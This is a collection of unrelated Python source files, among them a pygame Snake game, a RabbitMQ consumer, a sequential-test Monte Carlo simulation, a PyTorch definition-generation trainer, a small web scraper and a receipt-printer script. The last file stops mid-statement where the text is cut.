#####################################################
###################### SETTINGS #####################
cell_size = 150  #size in pixels
cell_number = 8 #number of cells in grid
pygame.time.set_timer(SCREEN_UPDATE, 150) #game speed
###################### SETTINGS #####################
#####################################################

class Snake:
    def __init__(self):
        self.body = [Vector2(3, 2), Vector2(2, 2), Vector2(1, 2)]
        self.direction = Vector2(0, 0)
        self.new_block = False

        self.head_up = pygame.image.load('assets/snake_head_up.png').convert_alpha()
        self.head_up = pygame.transform.scale(self.head_up, (cell_size, cell_size))
        #
        self.head_down = pygame.image.load('assets/snake_head_down.png').convert_alpha()
        self.head_down = pygame.transform.scale(self.head_down, (cell_size, cell_size))
        #
        self.head_left = pygame.image.load('assets/snake_head_left.png').convert_alpha()
        self.head_left = pygame.transform.scale(self.head_left, (cell_size, cell_size))
        #
        self.head_right = pygame.image.load('assets/snake_head_right.png').convert_alpha()
        self.head_right = pygame.transform.scale(self.head_right, (cell_size, cell_size))

        self.tail_up = pygame.image.load('assets/snake_tail_up.png').convert_alpha()
        self.tail_up = pygame.transform.scale(self.tail_up, (cell_size, cell_size))
        #
        self.tail_down = pygame.image.load('assets/snake_tail_down.png').convert_alpha()
        self.tail_down = pygame.transform.scale(self.tail_down, (cell_size, cell_size))
        #
        self.tail_left = pygame.image.load('assets/snake_tail_left.png').convert_alpha()
        self.tail_left = pygame.transform.scale(self.tail_left, (cell_size, cell_size))
        #
        self.tail_right = pygame.image.load('assets/snake_tail_right.png').convert_alpha()
        self.tail_right = pygame.transform.scale(self.tail_right, (cell_size, cell_size))

        self.turn_upleft = pygame.image.load('assets/snake_turn_up-left.png').convert_alpha()
        self.turn_upleft = pygame.transform.scale(self.turn_upleft, (cell_size, cell_size))
        #
        self.turn_upright = pygame.image.load('assets/snake_turn_up-right.png').convert_alpha()
        self.turn_upright = pygame.transform.scale(self.turn_upright, (cell_size, cell_size))
        #
        self.turn_downleft = pygame.image.load('assets/snake_turn_down-left.png').convert_alpha()
        self.turn_downleft = pygame.transform.scale(self.turn_downleft, (cell_size, cell_size))
        #
        self.turn_downright = pygame.image.load('assets/snake_turn_down-right.png').convert_alpha()
        self.turn_downright = pygame.transform.scale(self.turn_downright, (cell_size, cell_size))

        self.body_vertical = pygame.image.load('assets/snake_body_vertical.png').convert_alpha()
        self.body_vertical = pygame.transform.scale(self.body_vertical, (cell_size, cell_size))
        #
        self.body_horizontal = pygame.image.load('assets/snake_body_horizontal.png').convert_alpha()
        self.body_horizontal = pygame.transform.scale(self.body_horizontal, (cell_size, cell_size))

        self.crunch_sound = pygame.mixer.Sound('assets/crunch.wav')

    def draw_snake(self):
        self.update_head_graphics()
        self.update_tail_graphics()
        for index, block in enumerate(self.body):
            x_pos = int(block.x * cell_size)
            y_pos = int(block.y * cell_size)
            block_rect = pygame.Rect(x_pos, y_pos, cell_size, cell_size)

            if index == 0: #head
                screen.blit(self.head, block_rect)
            elif index == len(self.body) - 1: #tail
                screen.blit(self.tail, block_rect)
            else:
                previous_block = self.body[index + 1] - block
                next_block = self.body[index - 1] - block

                if previous_block.x == next_block.x:
                    screen.blit(self.body_vertical, block_rect)
                elif previous_block.y == next_block.y:
                    screen.blit(self.body_horizontal, block_rect)
                else:
                    if previous_block.x == -1 and next_block.y == -1 or previous_block.y == -1 and next_block.x == -1:
                        screen.blit(self.turn_upleft, block_rect)
                    elif previous_block.x == -1 and next_block.y == 1 or previous_block.y == 1 and next_block.x == -1:
                        screen.blit(self.turn_downleft, block_rect)
                    elif previous_block.x == 1 and next_block.y == -1 or previous_block.y == -1 and next_block.x == 1:
                        screen.blit(self.turn_upright, block_rect)
                    elif previous_block.x == 1 and next_block.y == 1 or previous_block.y == 1 and next_block.x == 1:
                        screen.blit(self.turn_downright, block_rect)

    def update_head_graphics(self):
        head_relation = self.body[1] - self.body[0]
        if head_relation == Vector2(1, 0):
            self.head = self.head_left
        elif head_relation == Vector2(-1, 0):
            self.head = self.head_right
        elif head_relation == Vector2(0, 1):
            self.head = self.head_up
        elif head_relation == Vector2(0, -1):
            self.head = self.head_down

    def update_tail_graphics(self):
        tail_relation = self.body[-2] - self.body[-1]
        if tail_relation == Vector2(1, 0):
            self.tail = self.tail_right
        elif tail_relation == Vector2(-1, 0):
            self.tail = self.tail_left
        elif tail_relation == Vector2(0, 1):
            self.tail = self.tail_down
        elif tail_relation == Vector2(0, -1):
            self.tail = self.tail_up

    def move_snake(self):
        x_pos = self.body[0].x
        y_pos = self.body[0].y
        x_dir = self.direction.x
        y_dir = self.direction.y

        if x_pos + x_dir >= cell_number:
            _body = self.body[:-1]
            _body.insert(0, Vector2(-1, y_pos))
            self.body = _body[:]
        elif x_pos + x_dir < 0:
            _body = self.body[:-1]
            _body.insert(0, Vector2(cell_number, y_pos))
            self.body = _body[:]
        elif y_pos + y_dir >= cell_number:
            _body = self.body[:-1]
            _body.insert(0, Vector2(x_pos, -1))
            self.body = _body[:]
        elif y_pos + y_dir < 0:
            _body = self.body[:-1]
            _body.insert(0, Vector2(x_pos, cell_number))
            self.body = _body[:]

        if self.new_block == True:
            _body = self.body[:]
            _body.insert(0, _body[0] + self.direction)
            self.body = _body[:]
            self.new_block = False
        else:
            _body = self.body[:-1]
            _body.insert(0, _body[0] + self.direction)
            self.body = _body[:]

    def add_block(self):
        self.new_block = True

    def play_crunch_sound(self):
        self.crunch_sound.play()

    def reset(self):
        self.body = [Vector2(3, 2), Vector2(2, 2), Vector2(1, 2)]
        self.direction = Vector2(0, 0)

class Fruit:
    def __init__(self):
        self.randomize()
        self.apple = pygame.image.load('assets/apple.png').convert_alpha()
        self.apple = pygame.transform.scale(self.apple, (cell_size, cell_size))

    def draw_fruit(self):
        x_pos = int(self.pos.x * cell_size)
        y_pos = int(self.pos.y * cell_size)
        fruit_rect = pygame.Rect(x_pos, y_pos, cell_size, cell_size)
        screen.blit(self.apple, fruit_rect)

    def randomize(self):
        self.x = random.randint(0, cell_number - 1)
        self.y = random.randint(0, cell_number - 1)
        self.pos = Vector2(self.x, self.y)

class MAIN:
    def __init__(self):
        self.snake = Snake()
        self.fruit = Fruit()

    def update(self):
        self.snake.move_snake()
        self.check_collision()
        self.check_fail()

    def draw_elements(self):
        self.draw_grass()
        self.fruit.draw_fruit()
        self.snake.draw_snake()
        self.draw_score()

    def check_collision(self):
        if self.fruit.pos == self.snake.body[0]:
            self.fruit.randomize()
            self.snake.add_block()
            self.snake.play_crunch_sound()

        for block in self.snake.body[1:]:
            if block == self.fruit.pos:
                self.fruit.randomize()

    def check_fail(self):
        for block in self.snake.body[1:]:
            if block == self.snake.body[0]:
                self.game_over()

    def game_over(self):
        self.snake.reset()

    def draw_grass(self):
        grass_color = (0, 0, 0)
        for row in range(cell_number):
            for column in range(cell_number):
                grass_rect = pygame.Rect(column * cell_size, row * cell_size, cell_size, cell_size)
                pygame.draw.rect(screen, grass_color, grass_rect)

    def draw_score(self):
        score_text = str(len(self.snake.body) - 3)
        score_surface = game_font.render(score_text, True, (255, 255, 255))
        score_x = int(cell_size * cell_number - 60)
        score_y = int(cell_size * cell_number - 40)
        score_rect = score_surface.get_rect(center = (score_x, score_y))

        screen.blit(score_surface, score_rect)

screen = pygame.display.set_mode((cell_size * cell_number, cell_size * cell_number))
clock = pygame.time.Clock()

game_font = pygame.font.Font('assets/font.ttf', int(cell_size / 2))

fruit = Fruit()
snake = Snake()

main_game = MAIN()

while True:
    for event in pygame.event.get():
        if event.type == pygame.QUIT:
            pygame.quit()
            sys.exit()
        if event.type == SCREEN_UPDATE:
            main_game.update()
        if event.type == pygame.KEYDOWN:
            if event.key == pygame.K_UP and main_game.snake.direction.y != 1:
                main_game.snake.direction = Vector2(0, -1)

            if event.key == pygame.K_DOWN and main_game.snake.direction.y != -1:
                main_game.snake.direction = Vector2(0, 1)

            if event.key == pygame.K_RIGHT and main_game.snake.direction.x != -1:
                main_game.snake.direction = Vector2(1, 0)

            if event.key == pygame.K_LEFT and main_game.snake.direction.x != 1:
                main_game.snake.direction = Vector2(-1, 0)

    main_game.draw_elements()
    pygame.display.update()
    clock.tick(150)


#!/usr/bin/env python3
# -*- coding:utf-8 -*-
import pika

connection = pika.BlockingConnection(pika.ConnectionParameters(host='localhost'))

channel = connection.channel()

channel.exchange_declare(exchange='test_ch', exchange_type='direct', durable=True)

channel.queue_declare(queue='test_queue', durable=True)

channel.queue_bind(queue='test_queue', exchange='test_ch', routing_key='confirmation')

# 定义一个消息确认函数，消费者成功处理完消息后会给队列发送一个确认信息，然后该消息会被删除
def ack_info_handler(ch, method, properties, body):
    """ack_info_handler """
    print('ack_info_handler() called!')
    # 发送确认ack
    ch.basic_ack(delivery_tag=method.delivery_tag)
    if bytes.decode(body) == 'quit':
        ch.basic_cancel(consumer_tag='hello_confirmation')
        ch.stop_consuming()
    else:
        print(bytes.decode(body))

# 关闭自动确认消费ACK
channel.basic_consume(queue='test_queue', on_message_callback=ack_info_handler, auto_ack=False, consumer_tag='hello_confirmation')

print('ready to consume msg...')
channel.start_consuming()


# -*- coding: utf-8 -*-
"""
Created on Tue Nov  8 18:14:23 2016

@author: mike
"""
from utils import cutoff_funcs, data_funcs
from pylab import *
import string
import pandas
import argparse

parser = argparse.ArgumentParser(description='MC infinite horizon cutoffs.')
parser.add_argument('--p0', type=float, default=.91)
parser.add_argument('--p1', type=float, default=.37 )
parser.add_argument('--pairs', type=int, default=3)
parser.add_argument('--reps', type=int, default=5000)

args = parser.parse_args()

from utils.data_funcs import assemble_fake_drugs

import traceback
import warnings
import sys

def warn_with_traceback(message, category, filename, lineno, file=None, line=None):
    traceback.print_stack()
    log = file if hasattr(file,'write') else sys.stderr
    log.write(warnings.formatwarning(message, category, filename, lineno, line))
    #raise Exception("Blah!")

warnings.showwarning = warn_with_traceback

try:
    get_ipython()
    dontcare = p0 +p1 + pair_iters
    print("Params set in IPython")
except:

    #p0 = .1
    #p1 = .378
    p0 = args.p0 #.91
    p1 = args.p1 # .37
    pair_iters = args.pairs # 3 # 12
    k_reps = args.reps
    print("Params set to p0 {0} p1 {1} pair_iters {2}".format(p0, p1, pair_iters))
max_rate = 1.0
m_null = 3
dar, dnar, ground_truth = assemble_fake_drugs(max_rate, m_null, False, p0, p1)
alpha_levels = arange(1,7, dtype=float) * .15 /(2 * m_null)
beta_levels = 0.25  / arange((2 * m_null), 0, -1, dtype=float)

drr = dar+dnar

A_B_wald = cutoff_funcs.calculate_mult_sprt_cutoffs(alpha_levels, beta_levels)
#A_B_mc = cutoff_funcs.infinite_horizon_MC_cutoffs(drr, p0, p1, alpha_levels, beta_levels, inf_horizon_steps, k_reps)
est_steps = cutoff_funcs.est_sample_size(A_B_wald[0], A_B_wald[1], drr, p0, p1)
#print("Est num steps: {0}".format(est_steps))

from tqdm import trange
rej_max = np.inf
acc_min = -np.inf

n_periods = max((500, 5.0 * est_steps))
print("n_periods ", n_periods)
# Run simulation k_reps times
rej_meta_rec = []
acc_meta_rec = []

import traceback
def MC_job_func_wrapper(kwargs):
    try:
        return MC_job_func(**kwargs)
    except:
        traceback.print_exc()

#raise Exception()

def MC_job_func(p0, p1, drr, n_periods, k_reps, alt_bound, label, job_id):
    if job_id==0:
        rej_record = []
        for mc_it_number in trange(k_reps, desc="{0} MC cutoff simulations {1}".format(label, pair_num)):
            # Simulate n_periods worth of data under the null with the provided
            # rates.
            sim_amnesia_reactions, sim_nonamnesia_reactions = data_funcs.simulate_reactions(
                p0 * drr, (1.0 - p0) * drr, n_periods)

            # Compute llr paths for data
            rej_static_binom_llr = data_funcs.assemble_llr(sim_amnesia_reactions,
                                            sim_nonamnesia_reactions, p0, p1)
            active_mask = (rej_static_binom_llr > alt_bound).astype(float).cumprod()
            screened_llr = rej_static_binom_llr * active_mask
            if alt_bound > -np.inf:
                 screened_llr = screened_llr + alt_bound * (1.0 - active_mask)
            # Record the max value the each llr path reached
            rej_record.append(screened_llr.max(0))
    else:
        rej_record = []
        for mc_it_number in range(k_reps):
            # Simulate n_periods worth of data under the null with the provided
            # rates.
            sim_amnesia_reactions, sim_nonamnesia_reactions = data_funcs.simulate_reactions(
                p0 * drr, (1.0 - p0) * drr, n_periods)

            # Compute llr paths for data
            rej_static_binom_llr = data_funcs.assemble_llr(sim_amnesia_reactions,
                                            sim_nonamnesia_reactions, p0, p1)
#            rej_static_binom_llr[rej_static_binom_llr < alt_bound] = 0.0
#            # Record the max value the each llr path reached
#            rej_record.append(rej_static_binom_llr.max(0))
            active_mask = (rej_static_binom_llr > alt_bound).astype(float).cumprod()
            screened_llr = rej_static_binom_llr * active_mask
            if alt_bound > -np.inf:
                 screened_llr = screened_llr + alt_bound * (1.0 - active_mask)
            # Record the max value the each llr path reached
            rej_record.append(screened_llr.max(0))
    return rej_record

import itertools, multiprocessing, time, logging
from scipy.stats import percentileofscore
def one_side_MC(k_reps, pair_num, p0, p1, drr, n_periods, alt_bound, p_levels, label):

    num_jobs = multiprocessing.cpu_count()
    pool = multiprocessing.Pool(num_jobs)
    chunksize = int(k_reps / num_jobs)
    n_rep_list = [chunksize, ] * (num_jobs - 1) + [k_reps - chunksize * num_jobs,]
    rs = pool.map_async(MC_job_func_wrapper, [{"drr":drr,
                            "n_periods":n_periods, "p0":p0, "p1":p1,
                            "label":label, "k_reps":n_rep, "job_id":job_id,
                            "alt_bound":alt_bound}
                            for job_id, n_rep in enumerate(n_rep_list)])
    pool.close()
    while (True):
        if (rs.ready() and (rs._number_left == 0)):
            break
        remaining = rs._number_left
        report_string =  "Waiting for {0} tasks to complete. ({1})".format(
            remaining, time.ctime(time.time()))
        #logging.info(report_string)
        #print(report_string +"\n")
        time.sleep(.1)
    rej_record = list(itertools.chain.from_iterable(rs.get()))

    # TESTING CODE
    # Get the cutoffs for each individual stream.
    rej_stream_specific_cutoff_levels = percentile(array(rej_record), 100 * (1 - p_levels), axis=0)
    # Take the max across streams for each cutoff.
    # Take A_j = max_i A_j^i, then
    # P(Lambda^i > A_j) < P(Lambda^i > A_j^i) < alpha_j
    rej_cutoff_levels = rej_stream_specific_cutoff_levels.max(1)
    ### percentileofscore vectorized
#    if label=="Rej":
#        print("Prop exceeding: ", (array(rej_record).flatten() > A_B_wald[0][:, newaxis]).mean(1).round(3))
#        print("Expected prop: ", p_levels.round(3))
#    else:
#        print("Prop exceeding: ", (array(rej_record).flatten() > -A_B_wald[1][:, newaxis]).mean(1).round(3))
#        print("Expected prop: ", p_levels.round(3))
#    rej_cutoff_levels = percentile(array(rej_record).flatten(), 100 * (1 - p_levels))
    return rej_cutoff_levels

for pair_num in range(pair_iters):
    rej_cutoff_levels = one_side_MC(k_reps, pair_num, p0, p1, drr, n_periods, acc_min, alpha_levels, label="Rej")
    rej_max = rej_cutoff_levels.max()
    acc_cutoff_levels =  -one_side_MC(k_reps, pair_num, p1, p0, drr, n_periods, -rej_max, beta_levels, label="Acc")
    acc_min = acc_cutoff_levels.min()
    rej_meta_rec.append(rej_cutoff_levels)
    acc_meta_rec.append(acc_cutoff_levels)

rej_meta_rec = array(rej_meta_rec)
acc_meta_rec = array(acc_meta_rec)

figure(1, figsize=(16, 12))
plot(rej_meta_rec, linestyle="--")
plot(acc_meta_rec)
plot(ones(2*m_null) * (pair_iters - 1), A_B_wald[0],  "ro")
plot(ones(2*m_null) * (pair_iters - 1), A_B_wald[1],  "bo")


'''19. Write a function is_Lst_palindrome(Lst) to check whether a list is
palindrome. Function should return true if the list is palindrome and false
if not palindrome.'''
def isPalindrome(list):
    if list == list[::-1]:
        return True
    else:
        return False

list =input("Enter the list elements : (separate by space) :").split()

print("Is palindrome:",isPalindrome(list))


#!/usr/bin/env python3
# -*- coding:utf-8 -*-
# author:haiton
# datetime:18-9-13 下午1:35
import os
import pickle
import numpy as np
import torch
import time
import argparse
import json
from torch import nn
from tqdm import tqdm
from model.model import RNNModel
from utils.dataset import DefSeqDataset
from torch.utils.data import DataLoader
from utils.utils import get_testloader, get_time_dif

parser = argparse.ArgumentParser(description='Pytorch Definition Sequence Model')
parser.add_argument('--model', type=str, default='GRU',
                    help='type of recurrent network(RNN,LSTM,GRU)')
parser.add_argument('--emdim', type=int, default=300,
                    help='size of word embeddings')
parser.add_argument('--hidim', type=int, default=300,
                    help='numbers of hidden units per layer')
parser.add_argument('--nlayers', type=int, default=2,
                    help='number of layers')
parser.add_argument('--lr', type=int, default=0.001,
                    help='initial learning rate')
parser.add_argument('--clip', type=int, default='5',
                    help='gradient clipping')
parser.add_argument('--epochs', type=int, default=40,
                    help='upper epoch limit')
parser.add_argument('--batch_size', type=int, default=50,
                    help='batch size')
parser.add_argument('--dropout', type=float, default=0.0,
                    help='dropout applied to layers(0 = no dropout)')
parser.add_argument('--wdecay', type=float, default=1.2e-6,
                    help='weight decay applied to all weights')
parser.add_argument('--use_i', action='store_true',
                    help='use model I')
parser.add_argument('--use_h', action='store_true',
                    help='use model H')
parser.add_argument('--use_g', action='store_true',
                    help='use model G')
parser.add_argument('--tied', action='store_true',
                    help='tie the word embedding and softmax weights')
parser.add_argument('--seed', type=int, default=22222,
                    help='random seed')
parser.add_argument('--cuda', action='store_true',
                    help='use CUDA')
parser.add_argument('--use_ch', action='store_true',
                    help='use character level CNN')
parser.add_argument('--use_he', action='store_true',
                    help='use hypernym embeddings')
parser.add_argument('--temperature', type=float, default=1.0,
                    help='temperature - higher will increase diversity')
args = parser.parse_args()
args.tied = False

args.use_ch = False
args.use_he = False
args.use_i = False
args.use_h = False
args.use_g = True

CHAR_EMB_DIM = 20
CHAR_HID_DIM = 20

saves_dir = "./data/processed"  # directory to save processdata
model_save_dir = 'checkpoints/'  # directory to save model
gen_dir = 'gen/'  # directory to save generation definitions

# Set the random seed manually for reproducibility
np.random.seed(args.seed)
torch.manual_seed(args.seed)
if torch.cuda.is_available():
    if not args.cuda:
        print('WARNING:You have a CUDA device,so you should probably run with --cuda')
    else:
        torch.cuda.manual_seed(args.seed)
device = torch.device('cuda' if args.cuda else 'cpu')

def get_trainloader(filepath):
    with open(filepath, 'rb') as f:
        train = pickle.load(f)
    train_set = DefSeqDataset(train, mode='train')
    char_max_len = len(train_set[0]['chars'])
    train_loader = DataLoader(
        dataset=train_set,
        batch_size=args.batch_size,
        shuffle=True,
        num_workers=2
    )
    return train_loader, char_max_len

def get_validloader(filepath):
    with open(filepath, 'rb') as f:
        valid = pickle.load(f)
    valid_set = DefSeqDataset(valid, mode='valid')
    valid_loader = DataLoader(
        dataset=valid_set,
        batch_size=args.batch_size,
        shuffle=True,
        num_workers=2
    )
    return valid_loader

def train():
    with open(os.path.join(saves_dir, 'word2id.pkl'), 'rb') as f:
        vocab = pickle.load(f)
        f.close()
    with open(os.path.join(saves_dir, 'id2word.pkl'), 'rb') as f:
        id2word = pickle.load(f)
        f.close()
    with open(os.path.join(saves_dir, 'word_embedding.pkl'), 'rb') as f:
        word_embedding = pickle.load(f)
        f.close()
    train_loader, char_max_len = get_trainloader('./data/processed/train.pkl')
    valid_loader = get_validloader('./data/processed/valid.pkl')
    # test_loader = get_testloader('./data/processed/play.pkl')
    char2idx = json.loads(open('./data/processed/char2idx.js').read())
    char_data = {
        'char_vocab_size': len(char2idx) + 1,
        'char_emb_dim': CHAR_EMB_DIM,
        'char_hid_dim': CHAR_HID_DIM,
        'char_len': char_max_len
    }
    print('=========model architecture==========')
    model = RNNModel(
        args.model, len(vocab), args.emdim, args.hidim, args.nlayers, args.tied, args.dropout, device, word_embedding,
        use_ch=args.use_ch, use_he=args.use_he, use_i=args.use_i, use_h=args.use_h, use_g=args.use_g, **char_data).to(
        device)
    print(model)
    print('=============== end =================')
    loss_fn = nn.CrossEntropyLoss(ignore_index=0)
    parameters = filter(lambda p: p.requires_grad, model.parameters())
    optimizer = torch.optim.Adam(parameters, args.lr,weight_decay=args.wdecay)
    print('Training and evaluating...')
    start_time = time.time()
    if not os.path.exists(model_save_dir):
        os.makedirs(model_save_dir)
    best_ppl = 9999999
    last_improved = 0
    require_improvement = 5
    for epoch in range(args.epochs):
        model.training = True
        total_loss = 0.0
        loss_epoch = []
        for batch, inp in enumerate(tqdm(train_loader, desc='Epoch: %03d' % (epoch + 1), leave=False)):
            data = {
                'word': torch.tensor(inp['word'], dtype=torch.long).to(device),
                'seq': torch.tensor(torch.t(inp['seq']), dtype=torch.long).to(device),
                'chars': torch.tensor(inp['chars'], dtype=torch.long).to(device),
                'hnym': torch.tensor(inp['hnym'], dtype=torch.long).to(device),
                'hnym_weights': torch.tensor(inp['hnym_weights'], dtype=torch.float).to(device)
            }

            targets = torch.tensor(torch.t(inp['target']), dtype=torch.long).to(device)
            output, hidden = model(data, None)
            loss = loss_fn(output, targets.view(-1))
            optimizer.zero_grad()
            total_loss += loss.item()
            loss_epoch.append(loss.item())
            loss.backward()
            # `clip_grad_norm`
            torch.nn.utils.clip_grad_norm_(model.parameters(), args.clip)
            optimizer.step()
        train_loss = np.mean(loss_epoch)
        train_ppl = np.exp(train_loss)
        valid_loss, valid_ppl = evaluate(model, valid_loader, device)
        # generate(model, test_loader, id2word, epoch + 1, 20)

        if valid_ppl < best_ppl:
            best_ppl = valid_ppl
            last_improved = epoch
            torch.save(model.state_dict(), model_save_dir +
                       'defseq_model_params_%s_min_ppl.pkl' % (epoch + 1)
                       )
            improved_str = '*'
        else:
            torch.save(model.state_dict(), model_save_dir +
                       'defseq_model_params_%s_ppl.pkl' % (epoch + 1)
                       )
            improved_str = ''
        time_dif = get_time_dif(start_time)
        msg = 'Epoch: {0:>6},Train Loss: {1:>6.6}, Train Ppl: {2:>6.6},' \
              + ' Val loss: {3:>6.6}, Val Ppl: {4:>6.6},Time:{5} {6}'
        print(msg.format(epoch + 1, train_loss, train_ppl, valid_loss, valid_ppl, time_dif, improved_str))
        if epoch - last_improved > require_improvement:
            print("No optimization for a long time, auto-stopping...")
            break
    return 1

def evaluate(model, dataloader, device='cpu'):
    model.training = False
    loss_fn = nn.CrossEntropyLoss(ignore_index=0)
    with torch.no_grad():
        total_loss = []
        for inp in dataloader:
            data = {
                'word': torch.tensor(inp['word'], dtype=torch.long).to(device),
                'seq': torch.tensor(torch.t(inp['seq']), dtype=torch.long).to(device),
                'chars': torch.tensor(inp['chars'], dtype=torch.long).to(device),
                'hnym': torch.tensor(inp['hnym'], dtype=torch.long).to(device),
                'hnym_weights': torch.tensor(inp['hnym_weights'], dtype=torch.float).to(device)
            }
            targets = torch.tensor(torch.t(inp['target']), dtype=torch.long).to(device)
            output, hidden = model(data, None)
            loss = loss_fn(output, targets.view(-1))
            total_loss.append(loss.item())
    return np.mean(total_loss), np.exp(np.mean(total_loss))

def generate(model, dataloader, idx2word, num, word_len=50):
    model.training = False
    for inp in tqdm(dataloader, desc='Generate definitions', leave=False):
        word_list = []
        data = {
            'word': torch.tensor(inp['word'], dtype=torch.long).to(device),
            'seq': torch.tensor(torch.t(inp['seq']), dtype=torch.long).to(device),
            'chars': torch.tensor(inp['chars'], dtype=torch.long).to(device),
            'hnym': torch.tensor(inp['hnym'], dtype=torch.long).to(device),
            'hnym_weights': torch.tensor(inp['hnym_weights'], dtype=torch.float).to(device)
        }
        if not os.path.exists(gen_dir):
            os.makedirs(gen_dir)
        def_word = [idx2word[torch.tensor(inp['word'], dtype=torch.long).to(device)], "\t"]
        word_list.extend(def_word)
        hidden = None
        for i in range(word_len):
            output, hidden = model(data, hidden)
            word_weights = output.squeeze().div(args.temperature).exp().cpu()
            word_idx = torch.argmax(word_weights)
            if word_idx == 3:
                break
            else:
                data['seq'].fill_(word_idx)
                if word_idx != 2:
                    word = idx2word[word_idx]
                    word_list.append(word)
        with open(gen_dir + "gen_%s.txt" % (num), "a") as f:
            for item in word_list:
                f.write(item + " ")
            f.write("\n")
            f.close()
    return 1

if __name__ == "__main__":
    print('=============user config=============')
    for key, value in sorted(args.__dict__.items()):
        print('{key}:{value}'.format(key=key, value=value))
    print('=============== end =================')
    train()


from sqlalchemy import Column, Integer, String, Date, ForeignKey

from config import Base

class Event(Base):
    __tablename__ = 'event'

    id = Column(Integer, primary_key=True)
    name = Column(String(80), nullable=False)
    date = Column(Date, nullable=False)
    attendees = Column(Integer, nullable=False, default=0)

    created_by = Column(Integer, ForeignKey('user.id'), nullable=False)
    type = Column(Integer, ForeignKey('event_type.id'), nullable=False)


import requests
from lxml import etree

def get_index():
    header = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) '
                      'Chrome/47.0.2526.108 Safari/537.36 2345Explorer/8.8.0.16453 '
    }
    url = 'http://sh.ziroom.com/z/nl/z1.html'
    response = requests.get(url, headers=header)
    return response.text

def parse_index(html):
    url_list = []
    name_list = []
    data = etree.HTML(html)
    items = data.xpath('//*[@id="selection"]/div/div/dl[2]/dd/ul/li[position()>1]')
    for item in items:
        href = item.xpath('./span/a/@href')
        name = item.xpath('./span/a/text()')
        # print(href[0].replace('//', ''))
        url_list.append(href[0].replace('//', 'http://'))
        name_list.append(name[0])
    # print(url_list)
    return url_list, name_list

def districts():
    html = get_index()
    list = parse_index(html)
    return list

if __name__ == '__main__':
    districts()


def main():
    from sys import stdin
    input = stdin.readline

    import sys

    # スタックオーバーフローを防ぐ
    sys.setrecursionlimit(int(1E+7))

    # 再帰関数
    def func(n, l, r):
        # もし l >r ならば、空配列を返却する。
        if l > r:
            return []

        # もし n = 0 ならば、空配列の入った配列を返却する。
        if n == 0:
            return [[]]

        # 答えを格納する配列 ans を用意する。
        ans = []

        # func(n-1, l, r) の返却する配列について、
        # それぞれの要素の頭に l をつけたものを ans に格納する。
        for ret in func(n-1, l, r):
            ret.insert(0, l)
            ans.append(ret)

        # func(n, l+1, r) の返却する配列について、
        # それぞれの要素を ans に格納する。
        for ret in func(n, l+1, r):
            ans.append(ret)

        return ans

    # 入力
    N, L, R = map(int, input().split())

    # 出力
    for list in func(N, L, R):
        print(*list)

if __name__ == '__main__':
    main()

アルゴ式/さまざまなアルゴリズム設計技法/再帰/Q4-7. 数を選ぶ (1).py


from rest_framework.permissions import BasePermission
from rest_framework.request import Request

from main.models import APIKeyManager

class HasAPIKey(BasePermission):
    message = 'Invalid API Key'

    def has_permission(self, request: Request, view) -> bool:
        if 'HTTP_X_API_KEY' in request.META:
            key = request.META['HTTP_X_API_KEY']
            if APIKeyManager().validate_key(key):
                return True
        return False


import textwrap
import sys
from functools import partial
from datetime import datetime

LINEFEED = [chr(10)]
CR = [chr(13)]
MAX_SIZE = 48
ESC = chr(27)
GS = chr(29)
FULL_CUT = [ESC, "m"]
CENTER = [ESC, chr(97), chr(1)]
LEFT = [ESC, chr(97), chr(0)]
RIGHT = [ESC, chr(97), chr(2)]
FEED = [ESC + "J", chr(255)]
THICK_HR = "".join([chr(205) * MAX_SIZE])
THIN_HR = "".join([chr(196) * MAX_SIZE])
REGULAR = [GS, chr(77), chr(0)]
XS = [GS, chr(77), chr(1)]
XSS = [GS, chr(77), chr(2)]
DOUBLE = [GS, chr(33), chr(17)]
NORMAL = [GS, chr(33), chr(0)]
RESET = [ESC, chr(33), chr(0)]
ALL_RIGHT = [ESC, "D", chr(20), chr(15)]

def write_command(_printer, commands):
    for c in commands:
        _printer.write(c)
    return

def write_normal(_printer, command):
    _printer.write(command)
    return

with open("/dev/usb/lp0", "w") as printer:
    _w = partial(write_command, printer)
    w = partial(write_normal, printer)

    """for i in range(30, 255):

        printer.write(str(i))
        w(CENTER)
        printer.write(chr(32))

        printer.write(chr(i))
        printer.write(LINEFEED)
        printer.flush()
    printer.write(LINEFEED)

    # printer.write(ESC + str(74) + "150")
    # printer.write(LINEFEED)

    printer.flush()"""

    bla = sys.stdin.read()
    counter, text = bla.splitlines()

    now = datetime.now()

    _w(RESET)
    w(THICK_HR)
    _w(LINEFEED)
    _w(LEFT)
    _w(DOUBLE)
    w("EVERYTHING")
    _w(LINEFEED)
    w("DEVOLVES INTO")
    _w(LINEFEED)
    _w(CENTER)
    w("SILLY")
    _w(LINEFEED)
    _w(RIGHT)
    w("WORDS")
    _w(LINEFEED)
    _w(NORMAL)
    _w(LEFT)
    w(THIN_HR)
    _w(LINEFEED)
    w("Fabian Frei")  # 12
    w("".join([" "] * (48 - 14)))
    w(counter)  # 3 counter
    _w(LEFT)
    _w(LINEFEED)
    w("Linz, {}.{}.{}".format(now.day, now.month, now.year))
    _w(LINEFEED)
    _w(LINEFEED)
    _w(LINEFEED)
    _w(CENTER)
    w("you discovered")
    _w(LINEFEED)
    _w(LINEFEED)
    _w(DOUBLE)
    w(textwrap.fill(text, 20))
    _w(LINEFEED)
    _w(LINEFEED)
    _w(RESET)
    w("Thank you!")
    _w(LINEFEED)
    _w(THIN_HR)
    _w(LINEFEED)
    _w(LEFT)
    w(textwrap.fill("Go to tofu.wtf/buzzwords to see ALL the words", MAX_SIZE))
    _w(LINEFEED)
    _w(LINEFEED)
    _w(LINEFEED)
    _w(RESET)
    _w(CENTER)
    w("".join([chr(222), chr(220), chr(216), chr(220), chr(221)]))
    _w(LINEFEED)
    _w(LINEFEED)
    _w(FEED)
    _w(FULL_CUT)
    _w(RESET)
    printer.flush()


import logging

from django.core.management.base import BaseCommand

from framework.celery_tasks import app as celery_app
from osf.models import Registration
from osf.utils.workflows import RegistrationModerationStates

logger = logging.getLogger(__name__)

@celery_app.task(name='management.commands.correct_registration_moderation_states')
def correct_registration_moderation_states(page_size=None):
    '''Backfill the moderation_state field of all registrations based on its current Sanction.'''

    # Any registration with a non-INITIAL state is already subject to the new
    # sanction state machine flows and should have the correct moderation_state
    # Unapproved RegistrationApprovals and Embargoes should have an INITIAL state,
    # and are excluded.
    default_value = RegistrationModerationStates.INITIAL.db_name
    out_of_date_registrations = Registration.objects.filter(
        deleted__isnull=True, moderation_state=default_value
    ).exclude(
        registration_approval__state='unapproved'
